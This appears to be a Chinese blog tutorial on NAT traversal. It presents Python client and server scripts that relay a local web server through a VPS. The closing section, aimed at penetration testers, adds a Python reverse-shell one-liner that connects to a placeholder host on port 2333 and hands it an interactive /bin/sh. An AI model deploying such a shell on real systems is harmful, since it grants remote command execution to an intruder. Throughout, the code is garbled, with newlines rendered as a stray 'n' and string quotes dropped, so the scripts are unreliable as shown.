由淺入深寫代理(10)-內網穿透

本篇主要介紹代理的一個常用的功能:內網穿透

很多人經常會有這麼一個需求,需要將本地開發的 web 項目給外網的人看下,再搭一遍到 vps 太麻煩,於是就有藉助擁有公網 ip 的主機來中轉。

有專門的軟體做這件事,如 ngrok, frp。

下面介紹下原理

由於內網的機器有 NAT 或 防火牆什麼的,外網 vps 是無法會直接連接的,所以想要通過 vps 來中轉就需要內網先連接 vps,然後 vps 通過連接的套接字來轉發數據。

貼下代碼

client_proxy

import socketnimport selectndef send_data(sock, data):n print(data)n bytes_sent = 0n while True:n r = sock.send(data[bytes_sent:])n if r < 0:n return rn bytes_sent += rn if bytes_sent == len(data):n return bytes_sentnndef handle_tcp(sock, remote):n # 處理 client socket 和 remote socket 的數據流n try:n fdset = [sock, remote]n while True:n # 用 IO 多路復用 select 監聽套接字是否有數據流n r, w, e = select.select(fdset, [], [])n if sock in r:n data = sock.recv(4096)n if len(data) <= 0:n breakn result = send_data(remote, data)n if result < len(data):n raise Exception(failed to send all data)nn if remote in r:n data = remote.recv(4096)n if len(data) <= 0:n breakn result = send_data(sock, data)n if result < len(data):n raise Exception(failed to send all data)n except Exception as e:n raise(e)n finally:n sock.close()n remote.close()nnwhile True:n s_conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)n s_conn.connect(("xx.xx.xx.xx", 2333))nn client_conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)n client_conn.connect((127.0.0.1, 8000))nn handle_tcp(s_conn, client_conn)n

server_proxy

import threadingnimport socketnimport selectnn# AF_INET: 基於 IPV4 的網路通信 SOCK_STREAM: 基於 TCP 的流式 socket 通信ns1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)ns1.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)n# 將套接字綁定到地址ns1.bind((, 2333))n# 監聽TCP傳入連接ns1.listen(5)nn# AF_INET: 基於 IPV4 的網路通信 SOCK_STREAM: 基於 TCP 的流式 socket 通信ns2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)ns2.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)n# 將套接字綁定到地址ns2.bind((, 8000))n# 監聽TCP傳入連接ns2.listen(5)nndef send_data(sock, data):n print(data)n bytes_sent = 0n while True:n r = sock.send(data[bytes_sent:])n if r < 0:n return rn bytes_sent += rn if bytes_sent == len(data):n return bytes_sentnndef handle_tcp(sock, remote):n # 處理 client socket 和 remote socket 的數據流n try:n fdset = [sock, remote]n while True:n # 用 IO 多路復用 select 監聽套接字是否有數據流n r, w, e = select.select(fdset, [], [])n if sock in r:n data = sock.recv(4096)n if len(data) <= 0:n breakn result = send_data(remote, data)n if result < len(data):n raise Exception(failed to send all data)nn if remote in r:n data = remote.recv(4096)n if len(data) <= 0:n breakn result = send_data(sock, data)n if result < len(data):n raise Exception(failed to send all data)n except Exception as e:n raise(e)n finally:n sock.close()n remote.close()nnnwhile True:n con1, addr1 = s1.accept()n print("new connection from %s:%s" % addr1)n con2, addr2 = s2.accept()n print("new connection from %s:%s" % addr2)n t = threading.Thread(target=handle_tcp, args=(con1, con2))n t.start()n

  1. 假設我們需要共享的 web 是 python 的 simple http_server, 首先執行 python -m SimpleHTTPServer, 這樣本地會綁定 8000 埠
  2. 在自己的 vps 上運行 python3 reverse_server.py
  3. 在本地運行 python3 reverse_client_proxy.py
  4. 接下來我們直接在外網訪問 vps 的地址: xx.xx.xx.xx:8000 就可以發現能夠轉發內網的數據了。

github 地址: github.com/facert/socke

github.com/facert/socke

一般內網穿透在網路安全人員做內網滲透測試的時候比較有用,反彈一個 shell,就可以任意執行命令。

這裡分享一個最基本的 python 反彈 shell 腳本

import socket,subprocess,osns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)ns.connect(("x.x.x.x",2333))nos.dup2(s.fileno(),0)nos.dup2(s.fileno(),1)nos.dup2(s.fileno(),2)np=subprocess.call(["/bin/sh","-i"]);n

推薦閱讀:

TAG:Python | 计算机网络 | socks代理 |